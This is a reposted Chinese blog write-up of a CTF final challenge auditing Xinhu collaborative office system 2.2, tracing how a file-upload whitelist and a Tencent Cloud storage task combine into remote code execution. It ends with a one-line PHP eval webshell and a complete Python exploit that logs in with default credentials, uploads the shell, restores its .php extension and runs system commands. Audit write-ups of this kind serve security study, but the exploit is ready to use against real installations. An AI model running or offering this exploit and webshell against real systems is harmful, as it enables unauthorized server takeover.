首页 > 其他分享 >[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE

时间:2022-11-06 18:38:49浏览次数:87  
标签:pre filepath url id session 2.2 RCE php 处理函数


文章目录

  • ​​写在前面​​
  • 分析​​
  • ​​脚本​​

写在前面

本次强网杯决赛的一个题,还是蛮有意思的,代码可以在github拿到
​​​ https://github.com/rainrocka/xinhu​

分析

首先这个系统存在弱口令,在题目给的sql文件当中通过在线md5得到​​test/abc123​

接下来就是随便找一个地方进行文件上传

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_后缀


我们抓包看看对这个php文件进行了什么处理,其调用了​​webmain/task/api/uploadAction.php​​下uploadClassAction类的upfileAction函数

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_thinkphp_02


引入插件,实例化​​upfileChajian​​类

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_后缀_03


跳过不需太过于关注的部分,我们跟踪​​up​​函数

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_thinkphp_04


看看issavefile

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_thinkphp_05


是一个白名单很明显php后缀不符合

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_后缀_06


跳过不相干一堆函数

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_php_07


可以很明显的发现这类白名单外的文件会被改后缀为​​uptemp​

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_github_08


内容为原来内容的base64编码结果,猜测估计是为了防止文件包含,不过都到这里了确实有点小单纯

接下来就是最关键的地方,在​​webmain\task\runt\qcloudCosAction.php​​腾讯云存储下的​​qcloudCosClassAction​​的​​run​​方法,根据id从数据库取出数据,接下来看图

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_后缀_09


一方面恢复了php后缀,另一方面内容也通过base64还原了

运行下下面的脚本可以看见成功执行whoami

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_thinkphp_10

脚本

​1.php​

<?php eval($_GET["1"]);?>

​exp.py​

import requests


session = requests.session()

url_pre = 'http://url/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'dGVzdA::',
'adminpass': 'YWJjMTIz',
'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('whoami');")
print(r.text)


标签:pre,filepath,url,id,session,2.2,RCE,php,处理函数
From: https://blog.51cto.com/u_15847702/5827475

相关文章

  • Codeforces Round #832 (Div. 2) D (预处理+二分)
    D.YetAnotherProblem观察题干发现一定要是odd考虑发掘性质发现之后还会将[l,r]长度为奇数的区间全部赋值成这个区间的异或和我们设长度为lenlen-1个偶数个异或为......
  • 1.2.2阅读材料并思考
    (1)回顾你过去将近3年的学习经历1当初你报考的时候,是真正喜欢计算机这个专业吗?是的,我对有逻辑性的编程过程很感兴趣。2你现在后悔选择了这个专业吗?不后悔。3你认为你......
  • Codeforces-1753B Factorial Divisibility题解
    Codeforces-1753BFactorialDivisibility参考:https://blog.csdn.net/qq_38236082/article/details/127500190题意:问$a_1!+a_2!+a_3!+...+a_n!$能否被$x!$整除。......
  • 2.2任务二
      (1)近三年我只有一年在关于计算机领域的学习,因为我是专升本的学生以前是学习体育的,前两年一直学习体育方面的知识,因为升本所以选择了软件工程专业。当初报考的时候也......
  • CodeForces 1747E List Generation
    CF传送门洛谷传送门考虑将问题抽象成:左上角为\((0,0)\)、右下角为\((n,m)\)的网格图,求所有满足至少有一条只向下或向右走的路径经过点集内所有点的的不同的点集大......
  • Educational Codeforces Round 138 E,F
    E一道比较基础的题。首先就是纵向,走无障碍的格子,无法四联通和横向,走有障碍的格子,八联通是等价的。也就是,如果我们要让其不存在非法路径,那么应该存在一个从第一列出发,一......
  • 【重识云原生】计算第2.2节——主流虚拟化技术之VMare ESXi
      《重识云原生系列》专题索引: 第一章——不谋全局不足以谋一域第二章计算第1节——计算虚拟化技术总述第二章计算第2节——主流虚拟化技术之VMareESXi第二章计......
  • Educational Codeforces Round 118 D
    D.MEXSequences对于一个数x要是前面出现过0,1,2...x-1我们显然可以将他放在后面要是前面出现过012...x-1x我们也可以将他放在后面但是观察样例还有一种情况......
  • Codeforces Round #826 (Div. 3) D. Masha and a Beautiful Tree(树+dfs)
    D.MashaandaBeautifulTree题目大意:给定一颗满二叉树的叶子节点,让我们更换子树位置,从而让叶子节点排序为升序求最小操作数,如果不能移动成那样的话,直接输出-1.in......
  • Codeforces 杂题记录
    CF1753A2(调整、贪心)考虑钦定\([1,n]\)分成一段,调整就是把贡献取相反数。CF1753B每次把\((i+1)\)和\(i!\)合并成一个\((i+1)!\),看能不能合并到\(x!\)。CF1753C(......